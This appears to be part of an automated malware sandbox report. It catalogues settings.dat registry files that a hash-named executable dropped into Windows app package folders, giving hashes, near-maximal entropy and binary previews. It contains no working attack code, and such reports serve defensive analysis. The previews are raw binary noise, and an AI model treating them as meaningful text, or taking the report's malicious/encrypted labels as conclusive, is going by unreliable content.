K.bUAt".N.f...H{cRD..\|..+c....s.\...M.Ik.;B.GdK.4+..(....8VG.Wfp...E...R7..}...HQ.......V.=Q..3.Y.Q."..x......v.......o6?....p..j...G!.rm.o...?k.L....O..\|1b...w5...F....U_..[.k.J.x{.."..\|..X.#i......L#....f!.R....rh.jm..T.o.wt..Xg_...S\S..7.\|....s..4....4Q..z.I...0.ohF..../o...G..h....FP.KdX.i.......>..Sy.j..K2c.............?.#...&"v.......aR..Z..Z../...Q........l..a@13....#.s9.....~9.-...~.....)c.4...g.0......9..$^x.o...sO..e>.%..;o&.w........\EA.5.b\|`J....$..!...@Np.1.....?O.w1I.F...k$.v~..cn...&.y......w.6..^3...F....?.c.y.T.`.h.*...jb.....3..1.....jRz..4.[o'O4..n.s.E...:B...N....\....d

C:\Users\user\AppData\Local\Packages\Microsoft.Office.OneNote_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976086876791063
Encrypted:	false
SSDEEP:	192:7nmcQKc1r+Y7rAcKA+qliGdus2RRf1BTkhRuFc7+MogR79k1ltR:7nJSHAcl+p2YBYgc7+0IltR
MD5:	9353E330A45BA0FD54807E975C3C4F89
SHA1:	CF9F7DF73569A5FAFD8987255EF0D798E3EE5865
SHA-256:	6B3650C4652D5F342276C43E08CA6BEBF11A8F8702B4812383960EF3C869DA5F
SHA-512:	6B36D2A1081F3AB9A40E2B8D5D75002F8295C7494B38F5AE94D23BA762D5926ADBFEA6362CF7CE75152DE463A483308C3174C6275398D49AAB57261397A0EC15
Malicious:	false
Preview:	regf.[.$.My..w5`5W...ee2i.M-...q....a0.v)+...mp......O...@..\..C.O..@.l.......P......0...@.....;...K..........c..D.......Z.k..%...+.Gw....F.....G..V../..o........~Y.%..3.,miv...Ph.....ST..s..RTT.%`.>....hD....0..L..i..F..OLp..W.K%h.@.\..~.>7. ..=._..I.....(]8.8....z.g....&O..B..]..>+,.37`I[..s..v.K5..(...F....4...........:...J`..Z,o....&;&.uf_.....bX....5...G.ml.d.O.+..x\.....9.}..S..]W..#~..U.....s\|..O..^...{6.h...:v?k.....c5..P..h...K...m-L....!\....T......fG...9M.e.3.M..G..5of..)..!.6....F.y)2..X.kE_x.f.......l..{3.v.tb...-[..p.;1^..$...1...Y0\q..G.v..9..S9w.\.i../n}.y.#....T_.t...Y.....ArkV.-.zQ...q...v...e:..*...!.X.....;...nC../...=>.i..<..?...+l\.D.)..7..~X..........s.-f\t..8........e......)......S.Q#...@.....2:YI..#.`..B..\|.-.T.6...t\{...).f..9..N..TO....N.!..f...Wx....u].RUk.....p..i.,...9..].%.@..m0.5.>.s..F.2..5..!C...\Lj/...7o.(.U.X......a^]._.E.e.~_J..HX..t....V.nW.vwA...Y'.>).....#.&....2_Z.s{..v.).k.c..W2k...

C:\Users\user\AppData\Local\Packages\Microsoft.People_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.982034089291741
Encrypted:	false
SSDEEP:	192:yuEmmx4qEGkT3nMTbg48edh7+D3WxgMAeNRyHIhb:yuEmjbjMTbgRedh7O3WxhAyRcIl
MD5:	19D63930601F076C7DCDE6AE2B363C2F
SHA1:	96B9EC248C01AAFC72375C3358BB98B8A86C67D7
SHA-256:	73C537BF851774920C3D6444D3AC6F78A5D5CD135BC05E4624DAAC82F6D450C4
SHA-512:	9A1235A948EA9EBA86F062F35E3F6F375D970173136867828E1000C30A0781ABA856FD686D1024FFBF9E168E0DD7B75950BA186C57720BC3863ABF24B2B0AD4E
Malicious:	false
Preview:	regf....d:.......J,...c.o<.=......'..\..R...C...HoI..EN..L..J.&Q.0.{.u.....M..(.Zk3A.9\.H%.....Y...d.t{j....n.qU)..te.ja.8.-.f..W...=k..r...,w;.D..2....K....'.?...Tr[.....RTi]..3.\,9.o.=.R...k....Ih^s.{.e....]..i.. Z:..%..:._.O.4..j.-.}.....qz...~.y..........%.............gfvM.2.).LJ2...Eu.A..Gq.....m%....3./.]....[n.g...% .I....[@}.:T...N.shG..(.o..FV(.N.u..K-..p.H.Y\|C..... .T$....@.l..[s[.P.0GU.My..PhV.........t<WP.f.":b......].y.;..N3.....;k+.1i...Mzu.7w .hI...N..k..$..&,n.Zc..B...E...T:b..h...?.f..(..d...~\.y.....T.8JK..%<h.i....j....s.}E.n....b.3.@ .?...x..w..-..F.].O.NU....s.i..?..y\k2.....y....KK..."...S......(..+^...Z.A...Q.._.-.E$.Y[..Yxcx....9w...i.F#.?M.@&.!..... .f..&.w..........X..B%,..3r.&.%......f.BR_+.. .}...i..A..D(..{>.5..+....I..y.I.*.m..Z.UN.........8..Z..IV2..S..v..O.h9.3..a..4{{...}.f.....,.iE[.[..._...........({....K..&.L...g.5.F.V=.7..k.x../t.w2..........$9L.PC...l...UHl..Y.9...V.H....T..B

C:\Users\user\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.973854420506463
Encrypted:	false
SSDEEP:	192:kkyD7vtJtpN/Awrgu+ALJyAsqOErr0zMBFmhZSBRUWnRNNzB89xsRU:Ofv1/fmiXsqJXBESRUAVy9xsRU
MD5:	C6BAA4EF09D3B3718D51ACAD1A495C81
SHA1:	1688B6448ECEEA7E3334A7F8CEDB01DDC4F2840E
SHA-256:	9DF5B91D49F4C5F4AE64F994F7C4F59B2CAADBFF013501C8C0A7901F55E36EA8
SHA-512:	BC1C0E0AA3CC0E0D298AAFCC362E6995377A5F005C1ADEA18689FD705513EDEF4EF9AA1635A025A896DE5670F50A10CA58CAE3F37983D150B82427B19A367BE2
Malicious:	false
Preview:	regf...u..O.;H.'.\..[...r>.D..Eo...........}...P%^(...];.Nr.>6.cI...~.g}.K.y)..6.J.w.-9{......-...Sq.AY...F.d.+..YrA(C.u..g..^...i...HL...2...4.EX7[.7..G.:...o..:.s..IO..6..N.XH.}L...V[..=..6...a..}v..?..\|Zp.........d=..........M.k,...C(...7q..H..T%^T...?........j...R..T..rg..P8.d..."U...r..@..F.7..`#.._=#c..../.f.@.(.m.4......(..~..2/."........,.VIYV.@.W.X.h...K.<..7...B+..6.r..u)`(.v...Z+...{.c..ke..H.y..8F^...n...W....=lH3..s._...w...@@J.t.8"-..P.W.RZ3.~.l..-..p\|."........P....d#..f.>.&v.&....Zao.)G.....1...M.r..p...X..)i.......PN.\..>.7r2YUm.-.B7..5yJ.[..a`WJ.C."$.......=...i...i{=`....... ..A...Tt.,[.r.c.ld..5)..._{.vmU. ..8T....`.....D,...........eb..)..S./..;[.o"...e..6=e+.._D...d......TZ...d..0.!F%[....-h..?z...a3....nu)...@.....U.....+...........G+../....N....}.2.7..-..i.%m.hl^.K.4Og...y6q....\|&.U.toy.*:...C=.....@.c.....).-.].&G.I.<.@.7._.........`....b..f.U......_.J....8.3...IC...Z........WSy.H...?.i...X.f...M=!U..0..J

C:\Users\user\AppData\Local\Packages\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978520531382579
Encrypted:	false
SSDEEP:	192:bqsWCwHeyQh7VPNFzxVR7q4TtgVQKlTKE9OTqaoKWmmb:m3eyQhhPNFzDRm4h9E9OOaoKmb
MD5:	3277F4FCD5095F6430BEC44FD720B7EE
SHA1:	0E3A04075F005627724935B51B98C63527C4D655
SHA-256:	3446800801574B32197BC3410D9BA9685B0EF01EB4F05BE3E3705AC903997554
SHA-512:	07E9F26723A525368795E044A9C6E22D2DAACB22CEC1B86DE476A0757D6EF20B0DF2A2C0115FC94ADF4263761E858CD5FD82C1A6162596FA9EE455A98E7CD2CE
Malicious:	false
Preview:	regf.BI.R.Z.....:.j.Hh..W..J..]f..c.G.2....>.........j...eH.{I!........[Ud>..\.^..@.,ADO..I.B..%_.#Q.......n.-....2<....e0]..e..V0..u..9rr.?.).lp.V...Qbw.bA..~.a..N...l^!.f2S.X....j...."J..,..h.o...f..{...Tx...+..`.......RS6q..<4..].dwwBW......$:.-.9w.J....I..0............."..i%q...8+..y\...H...I.l....P..T.[.LQ.KX.-m.(...DQ.9.....Zx,.....r..X.....Z..u.y._...m..jL.X.......I.dmR.......5.mL.ZO4L...o...\..ce+.OZJH.Sl Fp.H.#.4_U...GM.......^.9v...!FA.tMq..T.6..(...qz.d9.....4..\|f.....i..BJ...9g....r4....,F3`..z.90Mr8]bN..;Z....av0...tQ.2..]1j.D..z..<.....%.....M.pW.r.-.HR.iP.tO..O........?.+fi'.ZvV..C...K...A.d...MzPk..G...l..........3..R...q.gx.W U.{k..)d....r, ....Eb.....WO,......M...-......4...P....0LY..rN..2r^.z.].W.e....i../.d.2d4........9....6.I.+:Yw..G....O....8.... .'..S..Fr.-pK3..p.3...l..cX.=*!)...-=!...,f.x./h.T%.1..r.#..M.[..z..G...z\8sCV.......LN._.Jg.HY.......w..oR..?..Z.QE.......Pl.n..Z3.i.......g%%W$..x.....

C:\Users\user\AppData\Local\Packages\Microsoft.VP9VideoExtensions_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979584427573107
Encrypted:	false
SSDEEP:	192:fMuN8yBptExhYN8SFtoDBwpf/N8Hy5j8HGNAMrygcTuRbxK:Ek8yBHkYNpFOrQjIy38Y0
MD5:	37F4EF4E12379EDE28ED34C297A6F67E
SHA1:	3D56AA1ED88FAD76F0CDD817DBE42166CE57E3C5
SHA-256:	40D6F36472939DAA944E6793C99AE1FC6BB1FC32EF38349D7254A381C4EE3F5B
SHA-512:	416D6DEFC71930F165DAADCE12D5E7E94A4BF388C01646A2E18338C73F7301D917A0E61110184F7F9A4D44658FDF90B6A3FB9FB0D3671C4F5832F6206E9B2946
Malicious:	false
Preview:	regf..y...).Kd.<.I.......~.....n.....{..."..Z.r.........]......5J}0.....<$....(mr'`K1.8 ...^.%...}@..y...`.x.n.....P.2.A..F&b.."..b;...J.........P.\..=..I.s4$........P\.&y.I.. ....9.IM"....N.N..SY.s....=.k../..P-...(8b=.1.7....li+..3f.3.....EK.r.....6.Xv.-..>...<^.NS....\..=.<..'VL...(N...O..dJ:.r..i.D&#Z.]g.L\.Q.8.K..\|.1..F...z....'..e7C;Y.u>...C.`..&.iS..q....oL._....(.9.h...N`h...3G.nt.}....U.P..b}87b.Jd....4h;.N...x.E..:WR-...,.k..#^..u..(....J...LZ.4...W;...&3jH..'.sUgB.....l.o.W@.y<.:..?.U..v.......S..u.m....o..MM..j.....?. .........{.!..^..6U..^-..\5.....7.h..,.L1A......R^......~...1.JWlJ%......'?@%...'p.~o.1.....F.b<.....N..K,,.$'0....R6...[rUv.M]..z.$W.K...b.$4.....\.Q...?.. ..Q....}c..I......xFa(..G.~(=...o.K`....M...J...L.f.+~..V..?.L........."_.....X.wd{G..i...C.p....#`....g[.....@?DS.[....j.+$P.)...}l.^nD...8....E..3.J.E...ty&.......x.-..!-....b..0...4>......X.........e.e.%G..V...Y..=...E...A\|](..4..j...{=

C:\Users\user\AppData\Local\Packages\Microsoft.Wallet_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975076346831855
Encrypted:	false
SSDEEP:	192:dQD2iDgo4eRG7cSDA2dmeCvRW98lUtDA0d7sAlVWXU:dQD78jJSC88sAlV3
MD5:	423E3F1E49BA487B74EDDD89431EF75A
SHA1:	C4E12A920FED83491E231633C2DAC682F13744BD
SHA-256:	498899DBF821641E9FC0D13BB63378553CD1444449ABEA4E590F513BDE17FAC1
SHA-512:	5A81895E080A0621AA71FD7B8F6DF2E26068E573EA576AEB25ED41E82131B0B79C1B82B0AA1924E8A56CF1197A086F58DA22310A27337FD508A6834B722FD460
Malicious:	false
Preview:	regf....}?.._.....#pa..4..`..5...;.F-[......./]o^..%...)~....&4.^.W..8....3.._X.`.C....[JEG......v..o..uV.w.k+...&._$.f.l>U...8.q..?.H..oZo.O.a...."....v.G.R...t......o...h.I.I?..1....P..c.....#..=M..!..."...7Jh........5.@..R..&p.H...VdV...o.fd..vg...,.@.....W.....Ky..q.P..../..--F2....j......]{..T.mV...^...&...NUc.eA}....>m...e~........E.;....3.K8...........+...CO.....U,......Y..$.s.#\CO2(..E.s........S.D.M...x..\...s3A....:X....z..V.j...T.....z..A..b...YkK......&V..4=..r[.j....G.+2...J.S..&....,..)4{.1H..q ....n..lmL.#a.^..+&r.=..'./.X......y.A.U....".u-.........\|....G....x;>....?.P....2...bZ.\|..$.@T..]Oq...z.V6l...l..0....\|=4`.......l....m.G#..`o`.:.g1.$..Btz......&A?.&]l.'.....YXP.k......k.......Nl..5qN....\..d..x.s....`.=...v..R\..W.....T-..PlJ...o. ].{Gn..-x^p?.....T....\|P........-6.k.xd.............I.p.5'zo.1l......'....r..7d(..D...K.u.!K....3..U....K0g$b.z.s..j.Ra.{g..D...Y...........02..I.yN.......\..D....{@...o..

C:\Users\user\AppData\Local\Packages\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981843143983203
Encrypted:	false
SSDEEP:	192:3MtnzTojcc0n2JV/r1+Ory+qlWP0PP8H6gvzoiAa3swsmCyr:ctzUIIJ5xy+qSCUatq8wszyr
MD5:	2A432E24E913508A6F023C4466BD2CE8
SHA1:	23B21E7A61F89BA67B6FC25C133D3E65A13D1B15
SHA-256:	69ABF27BE08908E80AA4422C2C2AF17E9BE46376EB0405B722F63A5721EE64FE
SHA-512:	378DFEC34F697E154F2458D50C35B3325648999DC1990D4C12978FEA63151189DB6A3A8162FBFA7C70BCFC053B65FA57E22B992C438D4935B14840777A3EAEF1
Malicious:	false
Preview:	regf..)..p.a..<..y..(f....4(.#..........c....b..:`3....!.V...}.!...u.#,.`.S&.48Z!.D.....o...-xT.....U....Q...H...+.#2k.HU..........d....1....... F..v".\D....&..9.0.$L...&...p...I.r..cUa.K.V..H;.......8V{.K...3y..Y.E...C8.......G...y..L.....p....u.r...U{V.H.b..+.=@(.~.,...g.S.K?T<..Z..)?.H..]4.:QJ....8gP....yu.Hp...GJ.Zh.5"KQ.z.T$F0....>v....._h."...........#...y.Kt.'....7.?f[..i...R..$L...,.^6.ivp.......+..zTF.9.y....S~....trB~..B.Q.45PO(..0..t.......`...7.....u.x.~.....,S.5..(w.\.a..........m.R.k....s.,...N./..]G..;i..IT.....r.~..X..n.{ .a.P...c}g....m.....`...=u7 ....s......W.......B.I.E%&mmg.c.w...."...._h...l.&..i..... .e.......c..T....t:.n.xL.n...YA.d.S......9]1....EN..Z..J..dF.r..Cz..F..V.W..x....\|k...+.^>........0.....#Rb.....j....--."..}....d-tu.3..UL-..f.....f..I.{.0.../.J....4...L...V...M.&..I.P...`A}.b....)....?!g....h*....p..:..F..:.z` ...D.....%..sI.Y..E.lg\|....^?...s.>..j..1.bz...W..6..e..n.x..yW.W',...E/...f...q&A.

C:\Users\user\AppData\Local\Packages\Microsoft.WebpImageExtension_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976392070938204
Encrypted:	false
SSDEEP:	192:5L289rLtyo8CnBnXWJmkVEaWGArX/Cwwj8Zf7uw285XmmQedtJmGNDTu:B2QLJwVajbKwmuuqyezD5Tu
MD5:	3653CBD81FD6877846DFD0365213B1A1
SHA1:	5BF95D32AC4344D8E52588F42C10F8A2A9AC27C0
SHA-256:	2BD65247EE3C77C7C909599DDFD56E71D554C05128A0CAC513BCA2B79E60AA85
SHA-512:	43A552BDD750B28C1860078EB639FA3B94DDB41235D68DD8E7E596DACD9A83D75077550D0914B127E384E5C09E8B99DE754D5E284813B80EEE3774A72C66A30C
Malicious:	false
Preview:	regf.F..#..W".t.K..!d6..ci.b.:z.7..K.$......ko.v^Ti{X..=......ZNH+.Cl.1.1..C#.Rz.D.j.KP:W...p.Ee.....{.C.FfN;.Q..sj.R...Y...,..I.......9.C...V..g.P....0<T...3../.!..u..2dx......fk2.`.D.tB..z2....w.7..K....}..\..u......H...7..(w.,!N..5..;;K.].Y.5&e\|.G.n/V.l.R.DU.EH.!7..\M.Zq%..D3....+..k.D.......Kd%bVs[..(iw...B.\|-...{.9K.kB....dEu..?..z.o.Z......l.i..{#.'....q..K.].....J..DN.Z..De.m.J/O...,.!{M..%...!%F.#2....7%3.....B.. M.@....}.R..4/.. ...........;..q=O..7.k.../....H....0W.......,..o..pq...q.h.l!...I.c.u..m.y....Dr.p.....;.e=.L.V....[...7.f..B.n5]UQ'Z...N8..1.$.f.Ko1...M.H....<..?..-^...(.L(...........r.K...-..O 5..$...OP....%.P.....Y% .8..j...L.l......@..hm.^._^...).Y.C...6..a....#...?z..O..p.....N..,?!...B.z....>.VE~....h......G......Y.G0........4$.&8..~.`p]-f..A1..`<y.w..a..a...5+F{.$1qbqZ..:.:vw..F...s....*..`.I..h.E^Mz.~Rc..\|.1.....B/..`&.}....S(.; ....q"...H....,I.A~xRk..d......S.g.\|.zN)9.#.zK!.....gg..u..L..O?.X.oWx.V3n6..D.$..]X.

C:\Users\user\AppData\Local\Packages\Microsoft.Win32WebViewHost_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980519082997263
Encrypted:	false
SSDEEP:	192:cQv1Cf37C3UY4Mru2u4C+Z7yI9IbQGrikOFGCAmXGQ7:zAf37qXtrpZ7yHQGrMFXXGo
MD5:	9D96AC2A15DC5C829150D772F31D3BD3
SHA1:	450974B203359C8ACEF984E900FE10E21A8BF55D
SHA-256:	F3AC8EBB77D4E12B3DD548213CCD9513420B1AF9E53EAC2B38772A74538D3905
SHA-512:	8F1A738BABB88202D78A8E2781BC066FDF0B97ED87A050DEE5F9DF5C899187CB70CF1E1BD8AB82553E0FF595943EE81DA776A1389284E221846F2BB3EE9D7FCF
Malicious:	false
Preview:	regf...;..&.i...-...".bSQ]........_c.......j..x...y...}q...NgR.......:...h..m.yn\Hr..""J....;.O....\HUf..@Q...H;Y.'.yd......+..i..&Ti...W..../....]....z^..Kv.....Z..4.V2n+N......Q...F..A....v.Q..S..`h.=..R..q..~...-A....4.3....-B...u....l.`^L&a.f.....;".\4....HH.H.%\|6..H...w.(2p....v..%a...bMp..'9.F`...1...]......_..K...F".bm..[.+..r...C..8.Q.s.L.Da%........s$K.h..q.e\|..zB.H...... .....^.ye\|.o.......>.Aq{........'......h.Xm.M...b&P......x.B...........h.c:...~t.W.,3.Im$.>..W..cM.<l.........).......Bs...q.@....zN=_6-..2.R....y8.....:...j.d._.u.k.......>...9.-.......-h....$.v,b.z7..O...N..x<a\|6.If`T>q....^V.......}.j^.VP.EU...d...s....#.X7. .r..-......),E......crQU..".7.....z.....B_J...2......z..i.....D.?....a.}z.)[.2(.....i$...k...g.G[w..A..4...(>....).;....NE.crwZ........'....x...NiIC........Y.h........DB$t..4..5.Z.g+/.Y..?..y..XK.-...p..q....i/..W.$N\7.l.Gn\|.;_......Op...n....t...P./...e@+{rl.....%.G.2.EmIy..".g..I......[.....f.7...{

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976319273737384
Encrypted:	false
SSDEEP:	192:Tl1EcVkViKfMaad6xrwP0g61oEh1PxeCtaeMmV:Tl1EZfMjyrC0g615jPsC0jW
MD5:	75021255491627ABBEBC7C06E02DF469
SHA1:	C9B4B43C02BEC188EC6C45ECD8B00B3EDDB86819
SHA-256:	E9901FE92F8C1EA70065415ABC8E027B92895BAE645ED73708D0592A9371C05D
SHA-512:	062D0A98CB17215A1854D0A436C0DFCDD158D9BB6F37656C7097CD4AEF5E6790B6E1591F1534F12987806A4C591366AFAFD3B861D02D9C356952DB43934C38C8
Malicious:	false
Preview:	regf.Z....h.~."..Od.6.=g....8J....32F..U:...b../.w..5..C.......e.!.K=T..2.=..U.....;..pp...D%..!.."]..$.Y8..B.+....X~..U.g0.d.....v/.lx.u..=...:...SN....zL.}...b...KK@...2.....oP.n.........r..Z.{..f..G..c....u.. .b.%.9.....4...A..s1..I..."3......z..+...6.v.....>......o.m.MG-..w .^O..I.{w...SF+...c.../.J.. E......1nI."...+.B@?#es..<7.....c..>.K0.......t......a.]..4.L.F.i..v..$t..."qvh.m@6T...Y. .....h.c.J.[.n.v.....=x~.13+._..G^S.m..h.5...O..W>..fV...t.=.....-!.}.$.C.~..yC..t^.F..H.>D.p.r..+.{.%.8.].5.D.5Q...%.E.....v.rf...-7.E..!o.5q........G..Fd.....K.:...y.&-.H...$..))...;D.F .!..o.dY...\|.O....D.4r..x... .Fu.HM.:N. .'E{........Q.....zK.7.-B.H....\'.....Zw.E.M.].....o..m......G...N.^^...v.j\..s...A...x.C.NE...M.-.].."...<.(...E.u......3i.-T..ak.b...e..xu-.Q.v..........},..^.;...QbHA..`...'..=.....D.{..:.....>.."...WH"'#...`.....l...m.jY..Y..T....Y..lO.......sG....{.6c.b..._.N.3I.....S.YZ.+.8;.....~..5.E.%.......V9...I@{..t.L$..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976642694459123
Encrypted:	false
SSDEEP:	192:RcQj7R5kKFlglcDr4IyKA2qxFQh7oXKo1FeCO7jyHVsE/JQ4:RJjV5kKwiDr4dd2CGcYOt
MD5:	11EB166300A7C110CCAF7C5C6A419C64
SHA1:	12225973C1695942B0596B9DAAB5EC65193D518C
SHA-256:	3FDA040E30DF2466B036F55B3EA6C9AD9D5189CC4D90A6909AFCFFA976431102
SHA-512:	0232FB5352ED4CC5CE518A75D31BFF2906B1FCEF185BF71E95E803F461C5629F8FF68FC487DE0DE636E9D8E2E670B0347300DEA910EADC2EB6606A6AFDBB19DA
Malicious:	false
Preview:	regf.`..T.....o.......I..l......k..c<...dG.......h.k.^....n.:.R...v...NTh4.=..X..'p.0..^>..A<....2....Y!.3?w.@2...N.c.;..<Q...^.I...M....Gk...9...z.b.n.....@;.mp..Vg.k...^.0.......v.g.O.Q5.QBN=...J.v.Ib7.6U.I...l..A.&.e(5.g.W^...2l.=..OtW(....M.b.m...,.n1......H9..h.x\|mdH..H..b.5......ag...._.5k...k..S.U.U...v......rW..UU.i.)...&.a....~.\.T0WY/a.e<.1.Qt8.D.a).._...K....0\|4.N.~@..B.)g...%...[t.....f...=.8...lc..q.4Rp][....)..k[..S.e.j[.W..........r.9.6...0..<e....T....%.u.&..m...M...m.h...'QEJ.E:n..... .e,..p..o..3D6X..."&i%j...9b0Xx<.......A-..UL...Q......b..z.C.......Z....M...`.nGIOF...P>...x0r.k..n.K<...(.B..R.......g......&\|...o.......%C(..D..%*(..sC.9..........4?w@sX@z:.......N(..r.'.._...I..k....\|or.;x.f..L.T'...5..U.B#.....E......#e..?S.'.h.m...0i{_...r..T.N/......E#.,.I..8T.,.j}..va>...].>.2..k...X..J.)..H&..:)......CF.R.(.q...[....x...o.2\....X....s.a...i_...K..\.]3..6.Qz...I.......Y..z.....gm..b".f..Hd...8.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CallingShellApp_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.974607672072704
Encrypted:	false
SSDEEP:	192:pDz2C5m1LHnN9C2W0M3oYcjFSPCQU8BE7jwmT7:p3xUNHQQYcjFSKTw4
MD5:	0C9E5BC985F4143DD7EDC0D60F37598C
SHA1:	7CB78AA698225B4FD4C369C2F2931EE00BFC55C1
SHA-256:	0BC6D9A3DF8B2D2AE237E6D79561AAC6607578834ABEDDB96DEB9C65BEEF43ED
SHA-512:	9EA0F13B9EE505C68B66CDCC4ECBAC4DD9077FC26A8675E1D6F830BF745D47F179C1AD6EC9C2147C8725D32F3E99872A37C647A6F21C6FCDC5DE169DA6EF1858
Malicious:	false
Preview:	regf..._fE..J9udm.\.{...,.m.#.......2YJ.c..RG.\|(. .......A.r}.G@p.....p..+.......a.N...B......!..`.."...A._.X....)./mA.$)h.......u(t....n....7....C.q#h.E.,.px.+Z.9.....{...p(....a.v..!.kP.K[.r..9!?...c7.u.......=)_.............I.MQH+.,...+.._......cL.S.kp...RI_..\...)......N1kt/..?(....`.9..<.u4.s.._s..J.h.w....ru.......8...o...x....DP..(."r..l..%"g4_.`>r1..l...moK.nf.s.w!.{.....o..+.......br..m..M^..5..,....a.(.r^.2{B.....<.Z....G:[=zV0....]N..o.([..H..hD.l.&.....^Z .~-...@.^..h..K....Z..q.V6..$'...m:..C....Y.. A.?i4Zq....&.....#.Y..0..o....,.-]...)(.............._...rOw.#/"...E...a.J....<.z.X'....1...N.v+t....R.{...9f...k....3).0:X1......b%.^..oc.s..b.F.$.zK[..@p ....9.(..]93u...\Io.Wd+...p!dr....Xn.N.@~.}......Eo.=U...).F.k.Nw..RQ.0.9.....#.I.........T.j-`..4.'.&J..g..!U2..A0z0.".c....x%.j3l.9.?.H..8.<..:_"G..Ecn>...S.\|u.P..G...n.L.+...@.7.X..'..2EF...3.&.\|k.......P?...f...J.P..6=D.....ONu\'A.=...p..w.B..C.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979943736315733
Encrypted:	false
SSDEEP:	192:UsM2kgCKtPlqDKXDMaflt27siVEQ2Rmt/Tohp:NXC7fx7jx2Rmt/2p
MD5:	6EAA32D0195E9FB31F9EC5DB193CF177
SHA1:	3D92E714ACBDD41A69566037DAACF9B595367645
SHA-256:	9E64618353063FFFABACD0FFEA051C17C9AF6953CDD508F48BA70EE26C67F692
SHA-512:	0BF806D38B2DE1C9BC4D7DC6539D915469ABF125F725F6F112CA59C00AE38B1BD9F195C6D9D70CFD789AE8A0BB9437C363388D661A3B0DCF4FA90A974CF86CCC
Malicious:	false
Preview:	regf..F...f.\..;C_..r....s..`..W...r.=7<...".....p.....\.....6.."..N.dC..8.t.._Zl..iww...Ro./._.pt<.N"./..f.].dgk...C......{...'...&1..=.}..V7.e...%.^+4zE...8y..7.. ]..BX......,.....22.]K.X2........##\|Z.h....<......#.@.L....O..........p..(a...e.6S.%..}f(...._k.{.Fj.+..EN.:.$.=...x....w.B !+a...Ze..G..&...$.,/P.Q..qZ......E5}.2..F..5.UT..xK31......N.EF.zG.N..^..@.~,...\.Y....$.t;>E#.....u..e&..D.......!S.\.....:.2.H\|.1+......{7p....bve..l..A~VC.}.>....F_...2.d.q..aR...P.^..VD..........&...S..A.....Lm,..si}, eh.:bq.....t.U.m...^$6.nI.nrp=.UIJ.'.t.....sv.s?......(......5.B...5#.Xmr,S.U..~...AZ.qn.`.K.-z...].....#pd..>:a..........$.gYS.H...>Y....]...Y.lk.(..2Dj.{..gxA3..30...F.Iw.......:O..Y....[u..j..}9.I"........:..x....;L.Jn......!.A.9or.b..#./....z.D.^n.....:.P.WC.E.:...6v...."V...R.....)..8...RI9......0...#.;E.(.s..%..C'T..<P.C>u.N...g.....(N.I Gb.9..v.S.@..:...u@...S.=A.....s.. B+...\|......^..u....-........{=4...}.c..t..zX'~.EE

